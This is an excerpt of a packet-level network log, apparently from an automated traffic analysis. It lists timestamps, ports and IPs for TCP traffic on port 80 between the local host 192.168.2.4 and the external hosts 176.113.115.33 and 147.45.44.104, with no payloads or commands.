Sep 11, 2024 16:22:18.195934057 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.195936918 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.195945978 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.195956945 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.195969105 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.195971012 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.195997953 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.196029902 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.196041107 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.196053028 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.196063995 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.196067095 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.196075916 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.196086884 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.196110964 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.196125984 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.196137905 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.196147919 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.196158886 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.196162939 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.196185112 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.196209908 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.196237087 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.196250916 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.196284056 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.196305037 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.196317911 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.196331024 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.196341991 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.196374893 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.196383953 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.196396112 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.196417093 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.196440935 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.196691990 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.196702957 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.196722984 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.196734905 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.196746111 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.196770906 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.196801901 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.196877956 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.196888924 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.196899891 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.196912050 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.196922064 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.196923971 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.196935892 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.196949959 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.196954966 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.196962118 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.196974039 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.196976900 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.196988106 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.196991920 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.197009087 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.197035074 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.233736992 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.233756065 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.233768940 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.233781099 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.233803034 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.234165907 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.234178066 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.234189034 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.234200954 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.234205008 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.234226942 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.234239101 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.234242916 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.234251022 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.234262943 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.234263897 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.234296083 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.234322071 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.234374046 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.234385014 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.234395981 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.234421015 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.234447002 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.242764950 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.242810965 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.242871046 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.242882013 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.242892981 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.242904902 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.242917061 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.242935896 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.242947102 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.242984056 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.243031979 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243103027 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243105888 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.243114948 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243124962 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243143082 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.243156910 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.243171930 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.243191957 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243202925 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243212938 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243223906 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243241072 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.243268967 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.243277073 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243287086 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243311882 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.243314028 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243324995 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243335962 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243336916 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.243351936 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.243367910 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.243398905 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243412018 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243423939 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243433952 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243442059 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.243470907 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.243526936 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243544102 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243555069 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243566036 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243571997 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.243577003 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243587971 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243599892 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.243606091 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243617058 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243628979 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243628979 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.243654013 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.243674040 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.243767023 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243777037 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243788004 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243798018 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243810892 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243810892 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.243820906 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243832111 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243832111 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.243845940 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.243870020 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.243896961 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243906975 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243916988 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243927956 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243938923 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243943930 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.243951082 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243961096 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.243963003 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243974924 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.243978024 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.243984938 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.244004011 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.244029999 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.244064093 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.244076014 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.244086027 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.244097948 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.244107962 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.244108915 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.244138956 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.244833946 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.244843006 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.244854927 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.244877100 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.244891882 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.244901896 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.244903088 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.244913101 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.244925022 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.244931936 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.244946957 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.244975090 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.244992971 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.245033979 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.246794939 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.246810913 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.246820927 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.246830940 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.246834040 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.246841908 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.246859074 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.246865988 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.246870041 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.246880054 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.246892929 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.246901989 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.246905088 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.246912956 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.246918917 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.246923923 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.246948957 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.246951103 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.246961117 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.246972084 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.246977091 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.246983051 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.246999025 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.247030020 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.247371912 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.247389078 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.247402906 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.247414112 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.247419119 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.247450113 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.247452021 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.247459888 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.247472048 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.247481108 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.247487068 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.247490883 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.247514963 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.247519016 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.247528076 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.247538090 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.247538090 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.247550011 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.247562885 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.247589111 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.247656107 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.247697115 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.247725010 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.247735977 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.247746944 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.247756004 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.247767925 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.247770071 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.247793913 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.247807980 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.247817039 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.247818947 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.247836113 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.247845888 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.247850895 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.247858047 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.247869015 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.247874975 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.247903109 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.247936964 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.247946978 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.247956991 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.247982025 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.247994900 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.248018980 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.248029947 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.248063087 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.248152018 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.248162031 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.248173952 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.248184919 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.248188972 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.248197079 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.248207092 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.248215914 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.248218060 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.248239040 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.248240948 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.248251915 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.248264074 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.248281956 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.248353958 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.248364925 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.248389959 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.248410940 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.248524904 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.248534918 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.248545885 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.248557091 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.248564005 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.248569012 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.248579025 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.248580933 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.248606920 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.248620033 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.251280069 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.251291037 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.251302958 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.251327038 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.251368046 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.251405954 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.251416922 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.251429081 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.251441002 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.251447916 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.251477003 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.253504992 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.253515959 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.253526926 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.253551006 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.253582001 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.253652096 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.253663063 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.253673077 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.253684998 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.253691912 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.253720045 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.267668009 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.267678976 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.267690897 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.267710924 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.267738104 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.267746925 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.267757893 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.267767906 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.267780066 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.267790079 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.267790079 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.267815113 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.267843008 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.279452085 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.279464960 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.279476881 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.279488087 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.279500008 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.279505014 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.279511929 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.279520035 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.279525042 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.279551029 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.279570103 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.279757977 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.279767990 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.279778957 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.279792070 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.279814005 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.279819012 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.279831886 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.279874086 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.279949903 CEST	80	49734	147.45.44.104	192.168.2.4
